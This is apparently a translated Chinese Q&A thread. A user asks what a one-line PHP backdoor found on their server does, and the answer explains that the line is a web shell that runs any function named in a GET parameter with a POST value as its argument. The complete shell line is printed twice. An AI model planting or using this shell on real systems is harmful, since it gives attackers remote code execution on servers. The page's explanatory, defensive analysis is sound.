php – 找到黑客留下的代码,但不明白它的作用

我在一个 PHP文件中找到了黑客留下的一行脚本.它看起来像这样:
<?PHP

($_=@$_GET[2]).@$_($_POST[1]);

?>

任何人都可以提供一些关于这行代码提示?谢谢

正如Reeno在评论中已经说过的,就像一个PHP shell.

说明

>将具有键“2”的GET变量存储在名为$_的变量中.由于PHP的打字类型很差,我们不需要在数字上引用引号.

$_=@$_GET[2]

>将$_作为可调用函数名称,并以$_POST [1]作为第一个参数执行.

@$_($_POST[1])

@运算符应该禁止错误日志记录,请参见PHP.net: Error Control Operators.

两个语句之间的并置运算符实际上并不重要.它可以这样重写:

$_=@$_GET[2];
@$_($_POST[1]);

用例

调用任意函数.我不会提到成功攻击的特定HTTP标头,但对于每个(web)程序员来说,这应该是相当容易的.

相关文章

统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...
前言 之前做了微信登录,所以总结一下微信授权登录并获取用户...
FastAdmin是我第一个接触的后台管理系统框架。FastAdmin是一...
之前公司需要一个内部的通讯软件,就叫我做一个。通讯软件嘛...
统一支付是JSAPI/NATIVE/APP各种支付场景下生成支付订单,返...